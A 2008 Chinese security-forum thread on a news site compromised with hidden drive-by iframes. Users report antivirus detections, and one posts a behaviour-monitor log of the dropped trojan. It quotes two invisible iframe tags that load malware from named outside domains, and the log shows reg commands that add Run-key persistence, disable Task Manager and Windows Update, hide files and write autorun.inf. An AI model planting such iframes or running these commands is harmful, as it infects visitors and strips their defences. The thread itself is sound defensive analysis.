挂马

绅博周幸

http://www.henannews.com.cn/newcnsnews/8/2008-01-03/news-8-63195.shtml

绅博周幸

FS冰岛引擎发威, 给查杀了, AVP没反应

冷冷

那几个病毒老见的
<iframe width=0 height=0 src=http://www.52nuli.cn></iframe>
打开以上网站中了一样的
<iframe src=http://count23.51yes.biz/goldip.htm?007 style="display:none"></iframe>
这个网站是毒源

[ 本帖最后由 冷_冷 于 2008-1-6 08:34 编辑 ]

mofunzone

Virus or unwanted program 'HTML/Dldr.Iframe.AK [HTML/Dldr.Iframe.AK]'
detected in file 'C:\Documents and Settings\Administrator\Local Settings\Application Data\Opera\Opera 9.5 beta\profile\cache4\opr03CGR.
Action performed: Move file to quarantine

a256886572008

2008-01-06 08:52:08    執行應用程序      操作:允許
程序路徑:C:\WINDOWS\Explorer.EXE
檔案路徑:D:\bak.css.exe
觸發規則:所有程序規則->系統程式_黑名單->?:\*


2008-01-06 08:52:10    建立檔案      操作:允許
程序路徑:D:\bak.css.exe
檔案路徑:C:\WINDOWS\system32\TxoMoU.Exe
觸發規則:所有程序規則->全域設定_可執行檔案1_普通模式->*.exe

2008-01-06 08:52:50    建立檔案      操作:允許
程序路徑:D:\bak.css.exe
檔案路徑:D:\bak.css.bat
觸發規則:所有程序規則->全域設定_普通模式->*

2008-01-06 08:53:10    執行應用程序      操作:允許
程序路徑:D:\bak.css.exe
檔案路徑:C:\WINDOWS\system32\cmd.exe
指令列:/c D:\bak.css.bat
觸發規則:所有程序規則->系統程式_黑名單->*\cmd.exe

2008-01-06 08:53:20    執行應用程序      操作:允許
程序路徑:D:\bak.css.exe
檔案路徑:C:\WINDOWS\system32\cmd.exe
指令列:/c ""D:\bak.css.bat""
觸發規則:所有程序規則->系統程式_黑名單->*\cmd.exe


2008-01-06 08:53:21    刪除檔案      操作:允許
程序路徑:C:\WINDOWS\system32\cmd.exe
檔案路徑:D:\bak.css.exe
觸發規則:所有程序規則->全域設定_可執行檔案1_普通模式->*.exe

2008-01-06 08:54:23    刪除檔案      操作:封鎖
程序路徑:C:\WINDOWS\system32\cmd.exe
檔案路徑:D:\bak.css.bat
觸發規則:所有程序規則->全域設定_普通模式->*

2008-01-06 08:52:12    執行應用程序      操作:允許
程序路徑:D:\bak.css.exe
檔案路徑:C:\WINDOWS\system32\TxoMoU.Exe
觸發規則:所有程序規則->*

2008-01-06 08:52:18    執行應用程序      操作:封鎖
程序路徑:C:\WINDOWS\system32\TxoMoU.Exe
檔案路徑:C:\WINDOWS\system32\REG.exe
指令列:ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V crsss /T REG_SZ /D C:\WINDOWS\system32\TxoMoU.Exe /F
觸發規則:所有程序規則->系統程式_黑名單->*\reg.exe


2008-01-06 08:52:20    執行應用程序      操作:封鎖
程序路徑:C:\WINDOWS\system32\TxoMoU.Exe
檔案路徑:C:\WINDOWS\system32\REG.exe
指令列:add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WindowsUpdate /v DisableWindowsUpdateAccess /t REG_dword /d 00000001 /f
觸發規則:所有程序規則->系統程式_黑名單->*\reg.exe


2008-01-06 08:52:21    執行應用程序      操作:封鎖
程序路徑:C:\WINDOWS\system32\TxoMoU.Exe
檔案路徑:C:\WINDOWS\system32\REG.exe
指令列:add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_dword /d 00000001 /f
觸發規則:所有程序規則->系統程式_黑名單->*\reg.exe


2008-01-06 08:52:23    執行應用程序      操作:封鎖
程序路徑:C:\WINDOWS\system32\TxoMoU.Exe
檔案路徑:C:\WINDOWS\system32\reg.exe
指令列:add "HKCU\Software\Microsoft\Windows\CurrentVersion\EXPlorer\Advanced" /v Hidden /t reg_dWord /d 00000000 /f
觸發規則:所有程序規則->系統程式_黑名單->*\reg.exe


2008-01-06 08:52:25    執行應用程序      操作:封鎖
程序路徑:C:\WINDOWS\system32\TxoMoU.Exe
檔案路徑:C:\WINDOWS\system32\reg.exe
指令列:add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t reg_dword /d 00000001 /f
觸發規則:所有程序規則->系統程式_黑名單->*\reg.exe


2008-01-06 08:52:26    執行應用程序      操作:封鎖
程序路徑:C:\WINDOWS\system32\TxoMoU.Exe
檔案路徑:C:\WINDOWS\system32\reg.exe
指令列:add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t reg_dword /d 00000000 /f
觸發規則:所有程序規則->系統程式_黑名單->*\reg.exe


2008-01-06 08:52:28    執行應用程序      操作:封鎖
程序路徑:C:\WINDOWS\system32\TxoMoU.Exe
檔案路徑:C:\WINDOWS\system32\reg.exe
指令列:add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL" /v CheckedValue /t REG_SZ /d 0 /f
觸發規則:所有程序規則->系統程式_黑名單->*\reg.exe


2008-01-06 08:52:30    執行應用程序      操作:封鎖
程序路徑:C:\WINDOWS\system32\TxoMoU.Exe
檔案路徑:C:\WINDOWS\system32\reg.exe
指令列:add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN" /v CheckedValue /t REG_dword /d 00000002 /f
觸發規則:所有程序規則->系統程式_黑名單->*\reg.exe

2008-01-06 08:52:32    執行應用程序      操作:允許
程序路徑:C:\WINDOWS\system32\TxoMoU.Exe
檔案路徑:C:\Program Files\Internet Explorer\IEXPLORE.EXE
指令列:                                             
觸發規則:所有程序規則->系統程式_白名單->%ProgramFiles%\Internet Explorer\IEXPLORE.EXE



2008-01-06 08:52:35    修改系統時間      操作:封鎖
程序路徑:C:\WINDOWS\system32\TxoMoU.Exe

觸發規則:所有程序規則->*

2008-01-06 08:53:00    建立檔案      操作:允許
程序路徑:C:\WINDOWS\system32\TxoMoU.Exe
檔案路徑:C:\WINDOWS\system32\Autorun.Inf
觸發規則:所有程序規則->全域設定_普通模式->*

2008-01-06 08:53:16    修改檔案      操作:封鎖
程序路徑:C:\WINDOWS\system32\TxoMoU.Exe
檔案路徑:C:\Program Files\Common Files\Microsoft Shared\OFFICE12\1028\ODINFO.HTM
觸發規則:所有程序規則->全域設定_普通模式->*

開始感染 .htm 文件

2008-01-06 08:54:15    建立檔案      操作:封鎖
程序路徑:C:\WINDOWS\system32\TxoMoU.Exe
檔案路徑:C:\WINDOWS\system32\FUEc.CoM
觸發規則:所有程序規則->全域設定_可執行檔案1->*.com

2008-01-06 08:53:18    建立檔案      操作:允許
程序路徑:C:\WINDOWS\system32\TxoMoU.Exe
檔案路徑:C:\soS.Exe
觸發規則:所有程序規則->全域設定_可執行檔案1_普通模式->*.exe

2008-01-06 08:54:06    建立檔案      操作:允許
程序路徑:C:\WINDOWS\system32\TxoMoU.Exe
檔案路徑:C:\Autorun.Inf
觸發規則:所有程序規則->白名單與黑名單->?:\autorun.inf



2008-01-06 08:54:37    建立檔案      操作:允許
程序路徑:C:\WINDOWS\system32\TxoMoU.Exe
檔案路徑:D:\AuToRUN.Inf
觸發規則:所有程序規則->白名單與黑名單->?:\autorun.inf

經查詢，此 IP 在 大陸的 蘇州市



經查詢，此 IP 在 大陸的 成都市

醉一生爱妍

没敢进去。。。。。。。。

葬禮

冷冷

a256886572008
请问你的IP定位哪里下的？昨天我没有找到！！

你是否做足安全措施哦？虽然有EQ，不过你仍然运行下去不怕吗?

qigang

老毒物呐。呵呵。

kkgh

驱逐舰干掉